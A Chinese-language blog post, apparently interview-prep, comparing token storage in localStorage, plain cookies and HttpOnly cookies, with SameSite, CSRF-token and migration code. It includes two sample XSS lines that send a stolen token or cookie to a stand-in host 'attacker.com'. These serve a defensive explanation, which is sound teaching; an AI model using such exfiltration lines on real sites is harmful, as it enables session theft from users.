用户 Token 到底该存哪?
<h1 data-id="heading-0">🧑💻 写在开头</h1><p>点赞 + 收藏 === 学会🤣🤣🤣</p>
<div>
<div>
<p>面试官问:"用户 token 应该存在哪?"</p>
<p>很多人脱口而出:localStorage。</p>
<p>这个回答不能说错,但远称不上<strong>好答案</strong>。</p>
<p>一个好答案,至少要说清三件事:</p>
<ul>
<li>有哪些常见存储方式,它们的优缺点是什么</li>
<li>为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie</li>
<li>实际项目里怎么落地、怎么权衡「安全 vs 成本」</li>
</ul>
<p>这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。</p>
<hr>
<h2 data-id="heading-0">三种存储方式,一张图看懂差异</h2>
<p>前端存 token,主流就三种:</p>
</div>
<div>
<p><img src="https://img2024.cnblogs.com/blog/2149129/202601/2149129-20260118173827138-2006727453.png" alt="ScreenShot_2026-01-18_173653_730" loading="lazy"></p>
<p> </p>
<h2 data-id="heading-1">localStorage:用得最多,但也最容易出事</h2>
<p>大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:</p>
</div>
</div>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 登录成功后
localStorage.setItem('token', response.accessToken);
// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});</pre>
</div>
<p>用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。</p>
<p>localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))
</pre>
</div>
<p> </p>
<div>
<div>
<p>你可能会想:"我的代码没有 XSS 漏洞。"</p>
<p>现实是:XSS 漏洞太容易出现了——一个 <code>innerHTML</code> 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。</p>
<hr>
<h2 data-id="heading-2">普通 Cookie:XSS 能读,CSRF 还会自动带</h2>
<p>有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"</p>
<p>如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:</p>
</div>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;
// 攻击者同样能读到
const token = document.cookie.split('token=');
fetch('https://attacker.com/steal?token=' + token);</pre>
</div>
<p>XSS 能读,CSRF 还会自动带上——两头不讨好。</p>
<hr>
<h2 data-id="heading-3">HttpOnly Cookie:让 XSS 偷不走 Token</h2>
<p>真正值得推荐的,是 HttpOnly Cookie。</p>
<p>它的核心优势只有一句话:JavaScript 读不到。</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小时过期
});</pre>
</div>
设置了 <code>httpOnly: true</code>,前端 <code>document.cookie</code> 压根看不到这个 Cookie。XSS 攻击偷不走。</div>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'
});
// 攻击者的 XSS 脚本
document.cookie// 看不到 httpOnly 的 Cookie,偷不走</pre>
</div>
<div>
<div>
<h2 data-id="heading-4">HttpOnly Cookie 的代价:需要正面面对 CSRF</h2>
<p>HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:<strong>CSRF</strong>。</p>
<p>因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:</p>
</div>
</div>
<p><img src="https://img2024.cnblogs.com/blog/2149129/202601/2149129-20260118173959677-1979575379.png" alt="ScreenShot_2026-01-18_173703_963" loading="lazy"></p>
<p>好消息是:CSRF 比 XSS 容易防得多。</p>
<h3 data-id="heading-5">SameSite 属性</h3>
<p>最简单的一步,就是在设置 Cookie 时加上 <code>sameSite</code>:</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax'// 关键配置
});</pre>
</div>
<div>
<div>
<p><code>sameSite</code> 有三个值:</p>
<ul>
<li><strong>strict</strong>:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录</li>
<li><strong>lax</strong>:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值</li>
<li><strong>none</strong>:都带,但必须配合 <code>secure: true</code></li>
</ul>
<p><code>lax</code> 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。</p>
<h3 data-id="heading-6">CSRF Token(更严格)</h3>
<p>如果希望更严谨,可以在 <code>sameSite</code> 基础上,再加一层 CSRF Token 验证:</p>
</div>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);// 这个不用 httpOnly,前端需要读
// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.
},
credentials: 'include'
});
// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}</pre>
</div>
<div>
<div>
<p>攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。</p>
<hr>
<h2 data-id="heading-7">核心对比:为什么宁愿多做 CSRF,也要堵死 XSS</h2>
<p>这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。</p>
<p><strong>XSS 的攻击面太广</strong>:</p>
<ul>
<li>用户输入渲染(评论、搜索、URL 参数)</li>
<li>第三方脚本(广告、统计、CDN)</li>
<li>富文本编辑器</li>
<li>Markdown 渲染</li>
<li>JSON 数据直接插入 HTML</li>
</ul>
<p>代码量大了,总有地方会疏漏。一个 <code>innerHTML</code> 忘了转义,第三方库有漏洞,攻击者就能注入脚本。</p>
<p><strong>CSRF 防护相对简单、手段统一</strong>:</p>
<ul>
<li><code>sameSite: lax</code> 一行配置搞定大部分场景</li>
<li>需要更严格就加 CSRF Token</li>
<li>攻击面有限,主要是表单提交和链接跳转</li>
</ul>
<p>两害相权取其轻——<strong>先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护</strong>。</p>
<hr>
<h2 data-id="heading-8">真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie</h2>
<p>从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。</p>
<h3 data-id="heading-9">后端改动</h3>
<p>登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:</p>
</div>
</div>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});
// 改造后
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});</pre>
</div>
<h3 data-id="heading-10">前端改动</h3>
<p>前端请求时不再手动带 token,而是改成 <code>credentials: 'include'</code>:</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});
// 改造后
fetch('/api/user', {
credentials: 'include'
});</pre>
</div>
<p>如果用 axios,可以全局配置:</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">axios.defaults.withCredentials = true;</pre>
</div>
<h3 data-id="heading-11">登出处理</h3>
<p>登出时,后端清除 Cookie:</p>
<div class="cnblogs_Highlighter">
<pre class="brush:csharp;gutter:true;">app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});
</pre>
</div>
<p> </p>
<div>
<div>
<h2 data-id="heading-12">如果暂时做不到 HttpOnly Cookie,可以怎么降风险</h2>
<p>有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:</p>
<ol>
<li>
<p><strong>严格防 XSS</strong></p>
<ul>
<li>用 <code>textContent</code> 代替 <code>innerHTML</code></li>
<li>用户输入必须转义</li>
<li>配置 CSP 头</li>
<li>富文本用 DOMPurify 过滤</li>
</ul>
</li>
<li>
<p><strong>Token 过期时间要短</strong></p>
<ul>
<li>Access Token 15-30 分钟过期</li>
<li>配合 Refresh Token 机制</li>
</ul>
</li>
<li>
<p><strong>敏感操作二次验证</strong></p>
<ul>
<li>转账、改密码等操作,要求输入密码或短信验证</li>
</ul>
</li>
<li>
<p><strong>监控异常行为</strong></p>
<ul>
<li>同一账号多地登录告警</li>
<li>Token 使用频率异常告警</li>
</ul>
</li>
</ol><hr>
<h2 data-id="heading-13">面试怎么答</h2>
<p>回到开头的问题,面试怎么答?</p>
<p><strong>简洁版</strong>(30 秒):</p>
<blockquote>
<p>推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。</p>
</blockquote>
<p><strong>完整版</strong>(1-2 分钟):</p>
<blockquote>
<p>Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。</p>
<p>localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。</p>
<p>普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。</p>
<p>推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。</p>
<p>所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。</p>
<p>当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。</p>
</blockquote>
<p><strong>加分项</strong>(如果面试官追问):</p>
<ul>
<li>改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include</li>
<li>如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS</li>
<li>移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估</li>
</ul>
</div>
</div>
</div>
<div>
<h3 id="tid-D8HBxE">如果对您有所帮助,欢迎您点个关注,我会定时更新技术文档,大家一起讨论学习,一起进步。</h3>
</div>
<p><em><img src="https://img2024.cnblogs.com/blog/2149129/202501/2149129-20250122165814748-630765389.png" alt="" loading="lazy"></em></p><br><br>
来源:https://www.cnblogs.com/smileZAZ/p/19498851
頁:
[1]